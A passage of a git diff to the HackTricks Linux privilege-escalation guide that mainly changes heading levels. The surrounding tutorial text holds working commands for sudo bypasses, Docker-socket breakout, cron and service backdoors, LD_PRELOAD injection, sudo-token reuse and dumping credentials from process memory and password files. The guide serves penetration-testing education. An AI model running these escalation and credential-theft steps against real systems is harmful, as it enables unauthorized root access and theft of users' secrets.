**writable .socket** file? * [ ] Can you **communicate with any socket**? * [ ] **HTTP sockets** with interesting info? -### [D-Bus](privilege-escalation/#d-bus) +## [D-Bus](privilege-escalation/#d-bus) * [ ] Can you **communicate with any D-Bus**? -### [Network](privilege-escalation/#network) +## [Network](privilege-escalation/#network) * [ ] Enumerate the network to know where you are * [ ] **Open ports you couldn't access before** getting a shell inside the machine? * [ ] Can you **sniff traffic** using `tcpdump`? -### [Users](privilege-escalation/#users) +## [Users](privilege-escalation/#users) * [ ] Generic users/groups **enumeration** * [ ] Do you have a **very big UID**? Is the **machine** **vulnerable**? @@ -109,11 +107,11 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) * [ ] Password Policy? * [ ] Try to **use** every **known password** that you have discovered previously to login **with each** possible **user**. Try to login also without password. -### [Writable PATH](privilege-escalation/#writable-path-abuses) +## [Writable PATH](privilege-escalation/#writable-path-abuses) * [ ] If you have **write privileges over some folder in PATH** you may be able to escalate privileges -### [SUDO and SUID commands](privilege-escalation/#sudo-and-suid) +## [SUDO and SUID commands](privilege-escalation/#sudo-and-suid) * [ ] Can you execute **any comand with sudo**? Can you use it to READ, WRITE or EXECUTE anything as root? ([**GTFOBins**](https://gtfobins.github.io)) * [ ] Is any **exploitable suid binary**? ([**GTFOBins**](https://gtfobins.github.io)) @@ -127,25 +125,25 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) * [ ] Can you [**modify /etc/ld.so.conf.d/**](privilege-escalation/#etc-ld-so-conf-d)? * [ ] [**OpenBSD DOAS**](privilege-escalation/#doas) command -### [Capabilities](privilege-escalation/#capabilities) +## [Capabilities](privilege-escalation/#capabilities) * [ ] Has any binary any **unexpected capability**? -### [ACLs](privilege-escalation/#acls) +## [ACLs](privilege-escalation/#acls) * [ ] Has any file any **unexpected ACL**? -### [Open Shell sessions](privilege-escalation/#open-shell-sessions) +## [Open Shell sessions](privilege-escalation/#open-shell-sessions) * [ ] **screen** * [ ] **tmux** -### [SSH](privilege-escalation/#ssh) +## [SSH](privilege-escalation/#ssh) * [ ] **Debian** [**OpenSSL Predictable PRNG - CVE-2008-0166**](privilege-escalation/#debian-openssl-predictable-prng-cve-2008-0166) * [ ] [**SSH Interesting configuration values**](privilege-escalation/#ssh-interesting-configuration-values) -### [Interesting Files](privilege-escalation/#interesting-files) +## [Interesting Files](privilege-escalation/#interesting-files) * [ ] **Profile files** - Read sensitive data? Write to privesc? * [ ] **passwd/shadow files** - Read sensitive data? Write to privesc? @@ -160,14 +158,14 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) * [ ] **Known files that contains passwords**: Use **Linpeas** and **LaZagne** * [ ] **Generic search** -### [**Writable Files**](privilege-escalation/#writable-files) +## [**Writable Files**](privilege-escalation/#writable-files) * [ ] **Modify python library** to execute arbitrary commands? * [ ] Can you **modify log files**? **Logtotten** exploit * [ ] Can you **modify /etc/sysconfig/network-scripts/**? Centos/Redhat exploit * [ ] Can you [**write in ini, int.d, systemd or rc.d files**](privilege-escalation/#init-init-d-systemd-and-rc-d)? -### [**Other tricks**](privilege-escalation/#other-tricks) +## [**Other tricks**](privilege-escalation/#other-tricks) * [ ] Can you [**abuse NFS to escalate privileges**](privilege-escalation/#nfs-privilege-escalation)? * [ ] Do you need to [**escape from a restrictive shell**](privilege-escalation/#escaping-from-restricted-shells)? diff --git a/linux-unix/privilege-escalation/README.md b/linux-unix/privilege-escalation/README.md index 25d10711..979377e9 100644 --- a/linux-unix/privilege-escalation/README.md +++ b/linux-unix/privilege-escalation/README.md @@ -17,9 +17,7 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -# System Information - -## OS info +# OS info Let's starting gaining some knowledge of the OS running @@ -29,7 +27,7 @@ lsb_release -a 2>/dev/null # old, not by default on many systems cat /etc/os-release 2>/dev/null # universal on modern systems ``` -## Path +# Path If you **have write permissions on any folder inside the `PATH`** variable you may be able to hijacking some libraries or binaries: @@ -37,7 +35,7 @@ If you **have write permissions on any folder inside the `PATH`** variable you m echo $PATH ``` -## Env info +# Env info Interesting information, passwords or API keys in the environment variables? @@ -45,7 +43,7 @@ Interesting information, passwords or API keys in the environment variables? (env || set) 2>/dev/null ``` -## Kernel exploits +# Kernel exploits Check the kernel version and if there is some exploit that can be used to escalate privileges @@ -72,7 +70,7 @@ Tools that could help searching for kernel exploits are: Always **search the kernel version in Google**, maybe your kernel version is wrote in some kernel exploit and then you will be sure that this exploit is valid. -## CVE-2016-5195 (DirtyCow) +# CVE-2016-5195 (DirtyCow) Linux Privilege Escalation - Linux Kernel <= 3.19.0-73.8 @@ -84,7 +82,7 @@ https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs https://github.com/evait-security/ClickNRoot/blob/master/1/exploit.c ``` -## Sudo version +# Sudo version Based on the vulnerable sudo versions that appear in: @@ -98,7 +96,7 @@ You can check if the sudo version is vulnerable using this grep. sudo -V | grep "Sudo ver" | grep "1\.[01234567]\.[0-9]\+\|1\.8\.1[0-9]\*\|1\.8\.2[01234567]" ``` -## sudo < v1.28 +# sudo < v1.28 From @sickrov @@ -106,7 +104,7 @@ From @sickrov sudo -u#-1 /bin/bash ``` -## Dmesg signature verification failed +# Dmesg signature verification failed Check **smasher2 box of HTB** for an **example** of how this vuln could be exploited @@ -114,7 +112,7 @@ Check **smasher2 box of HTB** for an **example** of how this vuln could be explo dmesg 2>/dev/null | grep "signature" ``` -## More system enumeration +# More system enumeration ```bash date 2>/dev/null #Date @@ -123,9 +121,9 @@ lscpu #CPU info lpstat -a 2>/dev/null #Printers info ``` -## Enumerate possible defenses +# Enumerate possible defenses -### AppArmor +## AppArmor ```bash if [ `which aa-status 2>/dev/null` ]; then @@ -139,38 +137,38 @@ if [ `which aa-status 2>/dev/null` ]; then fi ``` -### Grsecurity +## Grsecurity ```bash ((uname -r | grep "\-grsec" >/dev/null 2>&1 || grep "grsecurity" /etc/sysctl.conf >/dev/null 2>&1) && echo "Yes" || echo "Not found grsecurity") ``` -### PaX +## PaX ```bash (which paxctl-ng paxctl >/dev/null 2>&1 && echo "Yes" || echo "Not found PaX") ``` -### Execshield +## Execshield ```bash (grep "exec-shield" /etc/sysctl.conf || echo "Not found Execshield") ``` -### SElinux +## SElinux ```bash (sestatus 2>/dev/null || echo "Not found sestatus") ``` -### ASLR +## ASLR ```bash cat /proc/sys/kernel/randomize_va_space 2>/dev/null #If 0, not enabled ``` -## Docker Breakout +# Docker Breakout If you are inside a docker container you can try to escape from it: @@ -191,7 +189,7 @@ grep -E "(user|username|login|pass|password|pw|credentials)[=:]" /etc/fstab /etc # Installed Software -## Useful software +# Useful software Enumerate useful binaries @@ -205,7 +203,7 @@ Also, check if **any compiler is installed**. This is useful if you need to use (dpkg --list 2>/dev/null | grep "compiler" | grep -v "decompiler\|lib" 2>/dev/null || yum list installed 'gcc*' 2>/dev/null | grep gcc 2>/dev/null; which gcc g++ 2>/dev/null || locate -r "/gcc[0-9\.-]\+$" 2>/dev/null | grep -v "/doc/") ``` -## Vulnerable Software Installed +# Vulnerable Software Installed Check for the **version of the installed packages and services**. Maybe there is some old Nagios version (for example) that could be exploited for escalating privileges…\ It is recommended to check manually the version of the more suspicious installed software. @@ -234,11 +232,11 @@ top -n 1 Always check for possible [**electron/cef/chromium debuggers** running, you could abuse it to escalate privileges](electron-cef-chromium-debugger-abuse.md). **Linpeas** detect those by checking the `--inspect` parameter inside the command line of the process.\ Also **check your privileges over the processes binaries**, maybe you can overwrite someone. -## Process monitoring +# Process monitoring You can use tools like [**pspy**](https://github.com/DominicBreuker/pspy) to monitor processes. This can be very useful to identify vulnerable processes being executed frequently or when a set of requirements are met. -## Process memory +# Process memory Some services of a server save **credentials in clear text inside the memory**.\ Normally you will need **root privileges** to read the memory of processes that belong to other users, therefore this is usually more useful when you are already root and want to discover more credentials.\ @@ -255,7 +253,7 @@ The file _**/proc/sys/kernel/yama/ptrace\_scope**_ controls the accessibility of * **kernel.yama.ptrace\_scope = 3**: No processes may be traced with ptrace. Once set, a reboot is needed to enable ptracing again. {% endhint %} -### GDB +## GDB If you have access to the memory of a FTP service (for example) you could get the Heap and search inside of it the credentials. @@ -268,7 +266,7 @@ gdb -p strings /tmp/mem_ftp #User and password ``` -### GDB Script +## GDB Script {% code title="dump-memory.sh" %} ```bash @@ -283,7 +281,7 @@ done ``` {% endcode %} -### /proc/$pid/maps & /proc/$pid/mem +## /proc/$pid/maps & /proc/$pid/mem For a given process ID, **maps shows how memory is mapped within that processes'** virtual address space; it also shows the **permissions of each mapped region**. The **mem** pseudo file **exposes the processes memory itself**. From the **maps** file we know which **memory regions are readable** and their offsets. We use this information to **seek into the mem file and dump all readable regions** to a file. @@ -300,7 +298,7 @@ procdump() ) ``` -### /dev/mem +## /dev/mem `/dev/mem` provides access to the system's **physical** memory, not the virtual memory. The kernels virtual address space can be accessed using /dev/kmem.\ Typically, `/dev/mem` is only readable by **root** and **kmem** group. @@ -309,7 +307,7 @@ Typically, `/dev/mem` is only readable by **root** and **kmem** group. strings /dev/mem -n10 | grep -i PASS ``` -### ProcDump for linux +## ProcDump for linux ProcDump is a Linux reimagining of the classic ProcDump tool from the Sysinternals suite of tools for Windows. Get it in [https://github.com/Sysinternals/ProcDump-for-Linux](https://github.com/Sysinternals/ProcDump-for-Linux) @@ -340,7 +338,7 @@ Press Ctrl-C to end monitoring without terminating the process. [20:21:00 - INFO]: Core dump 0 generated: ./sleep_time_2021-11-03_20:20:58.1714 ``` -### Tools +## Tools To dump a process memory you could use: @@ -348,9 +346,9 @@ To dump a process memory you could use: * [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - _You can manually remove root requirements and dump process owned by you_ * Script A.5 from [**https://www.delaat.net/rp/2016-2017/p97/report.pdf**](https://www.delaat.net/rp/2016-2017/p97/report.pdf) (root is required) -## Credentials from Process Memory +# Credentials from Process Memory -### Manual example +## Manual example If you find that the authenticator process is running: @@ -366,7 +364,7 @@ You can dump the process (see before sections to find different ways to dump the strings *.dump | grep -i password ``` -### mimipenguin +## mimipenguin The tool [**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin) will **steal clear text credentials from memory** and from some **well known files**. It requires root privileges to work properly. @@ -389,7 +387,7 @@ ls -al /etc/cron* /etc/at* cat /etc/cron* /etc/at* /etc/anacrontab /var/spool/cron/crontabs/root 2>/dev/null | grep -v "^#" ``` -## Cron path +# Cron path For example, inside _/etc/crontab_ you can find the PATH: _PATH=**/home/user**:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin_ @@ -404,7 +402,7 @@ echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh /tmp/bash -p #The effective uid and gid to be set to the real uid and gid ``` -## Cron using a script with a wildcard (Wildcard Injection) +# Cron using a script with a wildcard (Wildcard Injection) If a script being executed by root has a “**\***” inside a command, you could exploit this to make unexpected things (like privesc). Example: @@ -420,7 +418,7 @@ Read the following page for more wildcard exploitation tricks: [wildcards-spare-tricks.md](wildcards-spare-tricks.md) {% endcontent-ref %} -## Cron script overwriting and symlink +# Cron script overwriting and symlink If you **can modify a cron script** executed by root, you can get a shell very easily: @@ -436,7 +434,7 @@ If the script executed by root uses a **directory where you have full access**, ln -d -s ``` -## Frequent cron jobs +# Frequent cron jobs You can monitor the processes to search for processes that are being executed every 1,2 or 5 minutes. Maybe you can take advantage of it and escalate privileges. @@ -448,7 +446,7 @@ for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; do **You can also use** [**pspy**](https://github.com/DominicBreuker/pspy/releases) (this will monitor and list every process that start). -## Invisible cron jobs +# Invisible cron jobs It's possible to create a cronjob **putting a carriage return after a comment** (without new line character), and the cron job will work. Example (note the carriege return char): @@ -458,16 +456,16 @@ It's possible to create a cronjob **putting a carriage return after a comment** # Services -## Writable _.service_ files +# Writable _.service_ files Check if you can write any `.service` file, if you can, you **could modify it** so it **executes** your **backdoor when** the service is **started**, **restarted** or **stopped** (maybe you will need to wait until the machine is rebooted).\ For example create your backdoor inside the .service file with **`ExecStart=/tmp/script.sh`** -## Writable service binaries +# Writable service binaries Keep in mid that if you have **write permissions over binaries being executed by services**, you can change them for backdoors so when the services get re-executed the backdoors will be executed. -## systemd PATH - Relative Paths +# systemd PATH - Relative Paths You can see the PATH used by **systemd** with: @@ -497,7 +495,7 @@ You can enumerate all the timers doing: systemctl list-timers --all ``` -## Writable timers +# Writable timers If you can modify a timer you can make it execute some existent systemd.unit (like a `.service` or a `.target`) @@ -516,7 +514,7 @@ Therefore, in order to abuse this permissions you would need to: **Learn more about timers with `man systemd.timer`.** -## **Enabling Timer** +# **Enabling Timer** In order to enable a timer you need root privileges and to execute: @@ -541,22 +539,22 @@ Sockets can be configured using `.socket` files. * `ExecStopPre`, `ExecStopPost`: Additional **commands** that are **executed before** or **after** the listening **sockets**/FIFOs are **closed** and removed, respectively. * `Service`: Specifies the **service** unit name **to activate** on **incoming traffic**. This setting is only allowed for sockets with Accept=no. It defaults to the service that bears the same name as the socket (with the suffix replaced). In most cases, it should not be necessary to use this option. -## Writable .socket files +# Writable .socket files If you find a **writable** `.socket` file you can **add** at the beginning of the `[Socket]` section something like: `ExecStartPre=/home/kali/sys/backdoor` and the backdoor will be executed before the socket is created. Therefore, you will **probably need to wait until the machine is rebooted.**\ _Note that the system must be using that socket file configuration or the backdoor won't be executed_ -## Writable sockets +# Writable sockets If you **identify any writable socket** (_now where are talking about Unix Sockets, not about the config `.socket` files_), then, **you can communicate** with that socket and maybe exploit a vulnerability. -## Enumerate Unix Sockets +# Enumerate Unix Sockets ```bash netstat -a -p --unix ``` -## Raw connection +# Raw connection ```bash #apt-get install netcat-openbsd @@ -573,7 +571,7 @@ socat - UNIX-CLIENT:/dev/socket #connect to UNIX-domain socket, irrespective of [socket-command-injection.md](socket-command-injection.md) {% endcontent-ref %} -## HTTP sockets +# HTTP sockets Note that there may be some **sockets listening for HTTP** requests (_I'm not talking about .socket files but about the files acting as unix sockets_). You can check this with: @@ -583,7 +581,7 @@ curl --max-time 2 --unix-socket /pat/to/socket/files http:/index If the socket **respond with a HTTP** request, then you can **communicate** with it and maybe **exploit some vulnerability**. -## Writable Docker Socket +# Writable Docker Socket The **docker socke**t is typically located at `/var/run/docker.sock` and is only writable by `root` user and `docker` group.\ If for some reason **you have write permissions** over that socket you can escalate privileges.\ @@ -594,7 +592,7 @@ docker -H unix:///var/run/docker.sock run -v /:/host -it ubuntu chroot /host /bi docker -H unix:///var/run/docker.sock run -it --privileged --pid=host debian nsenter -t 1 -m -u -n -i sh ``` -### Use docker web API from socket without docker package +## Use docker web API from socket without docker package If you have access to **docker socket** but you can't use the docker binary (maybe it isn't even installed), you can use directly the web API with `curl`. @@ -627,7 +625,7 @@ Upgrade: tcp Now, you can execute commands on the container from this `socat` connection. -### Others +## Others Note that if you have write permissions over the docker socket because you are **inside the group `docker`** you have [**more ways to escalate privileges**](interesting-groups-linux-pe/#docker-group). If the [**docker API is listening in a port** you can also be able to compromise it](../../pentesting/2375-pentesting-docker.md#compromising). @@ -637,7 +635,7 @@ Check **more ways to break out from docker or abuse i to escalate privileges** i [docker-breakout](docker-breakout/) {% endcontent-ref %} -## Containerd (ctr) privilege escalation +# Containerd (ctr) privilege escalation If you find that you can use the **`ctr`** command read the following page as **you may be able to abuse it to escalate privileges**: @@ -645,7 +643,7 @@ If you find that you can use the **`ctr`** command read the following page as ** [containerd-ctr-privilege-escalation.md](containerd-ctr-privilege-escalation.md) {% endcontent-ref %} -## **RunC** privilege escalation +# **RunC** privilege escalation If you find that you can use the **`runc`** command read the following page as **you may be able to abuse it to escalate privileges**: @@ -687,7 +685,7 @@ Policies to the context "default" affects everyone not affected by other policie It's always interesting to enumerate the network and figure out the position of the machine. -## Generic enumeration +# Generic enumeration ```bash #Hostname, hosts and DNS @@ -712,7 +710,7 @@ cat /etc/networks lsof -i ``` -## Open ports +# Open ports Always check network services running on the machine that you wasn't able to interact with before accessing to it: @@ -721,7 +719,7 @@ Always check network services running on the machine that you wasn't able to int (netstat -punta || ss --ntpu) | grep "127.0" ``` -## Sniffing +# Sniffing Check if you can sniff traffic. If you can, you could be able to grab some credentials. @@ -731,7 +729,7 @@ timeout 1 tcpdump # Users -## Generic Enumeration +# Generic Enumeration Check **who** you are, which **privileges** do you have, which **users** are in the systems, which ones can **login** and which ones have **root privileges:** @@ -757,12 +755,12 @@ for i in $(cut -d":" -f1 /etc/passwd 2>/dev/null);do id $i;done 2>/dev/null | so gpg --list-keys 2>/dev/null ``` -## Big UID +# Big UID Some Linux versions were affected by a bug that allow users with **UID > INT\_MAX** to escalate privileges. More info: [here](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [here](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) and [here](https://twitter.com/paragonsec/status/1071152249529884674).\ **Exploit it** using: **`systemd-run -t /bin/bash`** -## Groups +# Groups Check if you are a **member of some group** that could grant you root privileges: @@ -770,7 +768,7 @@ Check if you are a **member of some group** that could grant you root privileges [interesting-groups-linux-pe](interesting-groups-linux-pe/) {% endcontent-ref %} -## Clipboard +# Clipboard Check if anything interesting is located inside the clipboard (if possible) @@ -785,24 +783,24 @@ if [ `which xclip 2>/dev/null` ]; then fi ``` -## Password Policy +# Password Policy ```bash grep "^PASS_MAX_DAYS\|^PASS_MIN_DAYS\|^PASS_WARN_AGE\|^ENCRYPT_METHOD" /etc/login.defs ``` -## Known passwords +# Known passwords If you **know any password** of the environment **try to login as each user** using the password. -## Su Brute +# Su Brute If don't mind about doing a lot of noise and `su` and `timeout` binaries are present on the computer you can try to brute-force user using [su-bruteforce](https://github.com/carlospolop/su-bruteforce).\ [**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) with `-a` parameter also try to brute-force users. # Writable PATH abuses -## $PATH +# $PATH If you find that you can **write inside some folder of the $PATH** you may be able to escalate privileges by **creating a backdoor inside the writable folder** with the name of some command that is going to be executed by a different user (root ideally) and that is **not loaded from a folder that is located previous** to your writable folder in $PATH. @@ -826,7 +824,7 @@ ftp>!/bin/sh less>! ``` -## NOPASSWD +# NOPASSWD Sudo configuration might allow a user to execute some command with another user privileges without knowing the password. @@ -842,7 +840,7 @@ In this example the user `demo` can run `vim` as `root`, it is now trivial to ge sudo vim -c '!sh' ``` -## SETENV +# SETENV This directive allows the user to **set an environment variable** while executing something: @@ -858,7 +856,7 @@ This example, **based on HTB machine Admirer**, was **vulnerable** to **PYTHONPA sudo PYTHONPATH=/dev/shm/ /opt/scripts/admin_tasks.sh ``` -## Sudo execution bypassing paths +# Sudo execution bypassing paths **Jump** to read other files or use **symlinks**. For example in sudeores file: _hacker10 ALL= (root) /bin/less /var/log/\*_ @@ -881,7 +879,7 @@ sudo less /var/log/something /etc/shadow #Red 2 files **Countermeasures**: [https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/](https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/) -## Sudo command/SUID binary without command path +# Sudo command/SUID binary without command path If the **sudo permission** is given to a single command **without specifying the path**: _hacker10 ALL= (root) less_ you can exploit it by changing the PATH variable @@ -895,7 +893,7 @@ This technique can also be used if a **suid** binary **executes another command [Payload examples to execute.](payloads-to-execute.md) -## SUID binary with command path +# SUID binary with command path If the **suid** binary **executes another command specifying the path**, then, you can try to **export a function** named as the command that the suid file is calling. @@ -908,7 +906,7 @@ export -f /usr/sbin/service Then, when you call the suid binary, this function will be executed -## LD\_PRELOAD +# LD\_PRELOAD **LD\_PRELOAD** is an optional environmental variable containing one or more paths to shared libraries, or shared objects, that the loader will load before any other shared library including the C runtime library (libc.so) This is called preloading a library. @@ -948,7 +946,7 @@ Finally, **escalate privileges** running sudo LD_PRELOAD=pe.so #Use any command you can run with sudo ``` -## SUID Binary – so injection +# SUID Binary – so injection If you find some weird binary with **SUID** permissions, you could check if all the **.so** files are **loaded correctly**. In order to do so you can execute: @@ -979,7 +977,7 @@ gcc -shared -o /home/user/.config/libcalc.so -fPIC /home/user/.config/libcalc.c And execute the binary. -## GTFOBins +# GTFOBins [**GTFOBins**](https://gtfobins.github.io) is a curated list of Unix binaries that can be exploited by an attacker to bypass local security restrictions. @@ -992,11 +990,11 @@ The project collects legitimate functions of Unix binaries that can be abused to {% embed url="https://gtfobins.github.io/" %} -## FallOfSudo +# FallOfSudo If you can access `sudo -l` you can use the tool [**FallOfSudo**](https://github.com/Critical-Start/FallofSudo) to check if it finds how to exploit any sudo rule. -## Reusing Sudo Tokens +# Reusing Sudo Tokens In the scenario where **you have a shell as a user with sudo privileges** but you don't know the password of the user, you can **wait him to execute some command using `sudo`**. Then, you can **access the token of the session where sudo was used and use it to execute anything as sudo** (privilege escalation). @@ -1033,7 +1031,7 @@ bash exploit_v3.sh sudo su ``` -## /var/run/sudo/ts/\ +# /var/run/sudo/ts/\ If you have **write permissions** in the folder or on any of the created files inside the folder you can use the binary [**write\_sudo\_token**](https://github.com/nongiach/sudo\_inject/tree/master/extra\_tools) to **create a sudo token for a user and PID**.\ For example if you can overwrite the file _/var/run/sudo/ts/sampleuser_ and you have a shell as that user with PID 1234, you can **obtain sudo privileges** without needing to know the password doing: @@ -1042,7 +1040,7 @@ For example if you can overwrite the file _/var/run/sudo/ts/sampleuser_ and you ./write_sudo_token 1234 > /var/run/sudo/ts/sampleuser ``` -## /etc/sudoers, /etc/sudoers.d +# /etc/sudoers, /etc/sudoers.d The file `/etc/sudoers` and the files inside `/etc/sudoers.d` configure who can use `sudo` and how. This files **by default can only be read by user root and group root**.\ **If** you can **read** this file you could be able to **obtain some interesting information**, and if you can **write** any file you will be able to **escalate privileges**. @@ -1068,7 +1066,7 @@ echo "Defaults !tty_tickets" > /etc/sudoers.d/win echo "Defaults timestamp_timeout=-1" >> /etc/sudoers.d/win ``` -## DOAS +# DOAS There are some alternatives to the `sudo` binary such as `doas` for OpenBSD, remember to check its configuration at `/etc/doas.conf` @@ -1076,7 +1074,7 @@ There are some alternatives to the `sudo` binary such as `doas` for OpenBSD, rem permit nopass demo as root cmd vim ``` -## Sudo Hijacking +# Sudo Hijacking If you know that a **user usually connects to a machine and uses `sudo`** to escalate privileges and you got a shell within that user context, you can **create a new sudo executable** that will execute your code as root and then the users command. Then, **modify the $PATH** of the user context (for example adding the new path in .bash\_profile) so we the user executed sudo, your sudo executable is executed. @@ -1084,7 +1082,7 @@ Note that if the user uses a different shell (not bash) you will need to modify # Shared Library -## ld.so +# ld.so The file `/etc/ld.so.conf` indicates **where are loaded the configurations files from**. Typically, this file contains the following path: `include /etc/ld.so.conf.d/*.conf` @@ -1097,7 +1095,7 @@ Take a look about **how to exploit this misconfiguration** in the following page [ld.so.conf-example.md](ld.so.conf-example.md) {% endcontent-ref %} -## RPATH +# RPATH ``` level15@nebula:/home/flag15$ readelf -d flag15 | egrep "NEEDED|RPATH" @@ -1173,7 +1171,7 @@ getfacl -t -s -R -p /bin /etc /home /opt /root /sbin /usr /tmp 2>/dev/null In **old versions** you may **hijack** some **shell** session of a different user (**root**).\ In **newest versions** you will be able to **connect** to screen sessions only of **your own user**. However, you could find **interesting information inside of the session**. -## screen sessions hijacking +# screen sessions hijacking **List screen sessions** @@ -1190,7 +1188,7 @@ screen -dr #The -d is to detacche whoever is attached to it screen -dr 3350.foo #In the example of the image ``` -## tmux sessions hijacking +# tmux sessions hijacking Apparently this was a problem with **old tmux versions**. I wasn't able to hijack a tmux (v2.1) session created by root from a non-privileged user. @@ -1216,18 +1214,18 @@ Check **valentine box from HTB** for an example. # SSH -## Debian OpenSSL Predictable PRNG - CVE-2008-0166 +# Debian OpenSSL Predictable PRNG - CVE-2008-0166 All SSL and SSH keys generated on Debian-based systems (Ubuntu, Kubuntu, etc) between September 2006 and May 13th, 2008 may be affected by this bug.\ This bug caused that when creating in those OS a new ssh key **only 32,768 variations were possible**. This means that all the possibilities can be calculated and **having the ssh public key you can search for the corresponding private key**. You can find the calculated possibilities here: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh) -## SSH Interesting configuration values +# SSH Interesting configuration values * **PasswordAuthentication:** Specifies whether password authentication is allowed. The default is `no`. * **PubkeyAuthentication:** Specifies whether public key authentication is allowed. The default is `yes`. * **PermitEmptyPasswords**: When password authentication is allowed, it specifies whether the server allows login to accounts with empty password strings. The default is `no`. -### PermitRootLogin +## PermitRootLogin Specifies whether root can log in using ssh, default is `no`. Possible values: @@ -1236,7 +1234,7 @@ Specifies whether root can log in using ssh, default is `no`. Possible values: * `forced-commands-only`: Root can login only using privatekey cand if the commands options is specified * `no` : no -### AuthorizedKeysFile +## AuthorizedKeysFile Specifies files that contains the public keys that can be used for user authentication. I can contains tokens like `%h` , that will be replaced by the home directory. **You can indicate absolute paths** (starting in `/`) or **relative paths from the users home**. For example: @@ -1246,7 +1244,7 @@ AuthorizedKeysFile .ssh/authorized_keys access That configuration will indicate that if you try to login with the **private** key of the user "**testusername**" ssh is going to compare the public key of your key with the ones located in `/home/testusername/.ssh/authorized_keys` and `/home/testusername/access` -### ForwardAgent/AllowAgentForwarding +## ForwardAgent/AllowAgentForwarding SSH agent forwarding allows you to **use your local SSH keys instead of leaving keys** (without passphrases!) sitting on your server. So, you will be able to **jump** via ssh **to a host** and from there **jump to another** host **using** the **key** located in your **initial host**. @@ -1266,7 +1264,7 @@ If you Forward Agent configured in an environment \[**check here how to exploit # Interesting Files -## Profiles files +# Profiles files The file `/etc/profile` and the files under `/etc/profile.d/` are **scripts that are executed when a user run a new shell**. Therefore, if you can **write or modify any of the you can escalate privileges**. @@ -1276,7 +1274,7 @@ ls -l /etc/profile /etc/profile.d/ If any weird profile script is found you should check it for **sensitive details**. -## Passwd/Shadow Files +# Passwd/Shadow Files Depending on the OS the `/etc/passwd` and `/etc/shadow` files may be using a different name or there may be a backup. Therefore it's recommended **find all of hem** and **check if you can read** them and **check if there are hashes** inside the files: @@ -1293,7 +1291,7 @@ In some occasions you can find **password hashes** inside the `/etc/passwd` (or grep -v '^[^:]*:[x\*]' /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null ``` -### Writable /etc/passwd +## Writable /etc/passwd First generate a password with one of the following commands. @@ -1340,7 +1338,7 @@ Group=root Your backdoor will be executed the next time that tomcat is started. -## Check Folders +# Check Folders The following folders may contain backups or interesting information: **/tmp**, **/var/tmp**, **/var/backups, /var/mail, /var/spool/mail, /etc/exports, /root** (Probably you won't be able to read the last one but try) @@ -1348,7 +1346,7 @@ The following folders may contain backups or interesting information: **/tmp**, ls -a /tmp /var/tmp /var/backups /var/mail/ /var/spool/mail/ /root ``` -## Weird Location/Owned files +# Weird Location/Owned files ```bash #root owned files in /home folders @@ -1367,38 +1365,38 @@ for g in `groups`; done ``` -## Modified files in last mins +# Modified files in last mins ```bash find / -type f -mmin -5 ! -path "/proc/*" ! -path "/sys/*" ! -path "/run/*" ! -path "/dev/*" ! -path "/var/lib/*" 2>/dev/null ``` -## Sqlite DB files +# Sqlite DB files ```bash find / -name '*.db' -o -name '*.sqlite' -o -name '*.sqlite3' 2>/dev/null ``` -## \*\_history, .sudo\_as\_admin\_successful, profile, bashrc, httpd.conf, .plan, .htpasswd, .git-credentials, .rhosts, hosts.equiv, Dockerfile, docker-compose.yml files +# \*\_history, .sudo\_as\_admin\_successful, profile, bashrc, httpd.conf, .plan, .htpasswd, .git-credentials, .rhosts, hosts.equiv, Dockerfile, docker-compose.yml files ```bash fils=`find / -type f \( -name "*_history" -o -name ".sudo_as_admin_successful" -o -name ".profile" -o -name "*bashrc" -o -name "httpd.conf" -o -name "*.plan" -o -name ".htpasswd" -o -name ".git-credentials" -o -name "*.rhosts" -o -name "hosts.equiv" -o -name "Dockerfile" -o -name "docker-compose.yml" \) 2>/dev/null`Hidden files ``` -## Hidden files +# Hidden files ```bash find / -type f -iname ".*" -ls 2>/dev/null ``` -## **Script/Binaries in PATH** +# **Script/Binaries in PATH** ```bash for d in `echo $PATH | tr ":" "\n"`; do find $d -name "*.sh" 2>/dev/null; done for d in `echo $PATH | tr ":" "\n"`; do find $d -type -f -executable 2>/dev/null; done ``` -## **Web files** +# **Web files** ```bash ls -alhR /var/www/ 2>/dev/null @@ -1407,18 +1405,18 @@ ls -alhR /usr/local/www/apache22/data/ ls -alhR /opt/lampp/htdocs/ 2>/dev/null ``` -## **Backups** +# **Backups** ```bash find /var /etc /bin /sbin /home /usr/local/bin /usr/local/sbin /usr/bin /usr/games /usr/sbin /root /tmp -type f \( -name "*backup*" -o -name "*\.bak" -o -name "*\.bck" -o -name "*\.bk" \) 2>/dev/nulll ``` -## Known files containing passwords +# Known files containing passwords Read the code of [**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS), it searches for **several possible files that could contain passwords**.\ **Other interesting tool** that you can use to do so is: [**LaZagne**](https://github.com/AlessandroZ/LaZagne) which is an open source application used to retrieve lots of passwords stored on a local computer for Windows, Linux & Mac. -## Logs +# Logs If you can read logs, you may be able to find **interesting/confidential information inside of them**. The more strange the log is, the more interesting will be (probably).\ Also, some "**bad**" configured (backdoored?) **audit logs** may allow you to **record passwords** inside audit logs as explained in this post: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/). @@ -1430,7 +1428,7 @@ grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null In order to **read logs the group** [**adm**](interesting-groups-linux-pe/#adm-group) will be really helpful. -## Shell files +# Shell files ```bash ~/.bash_profile # if it exists, read once when you log in to the 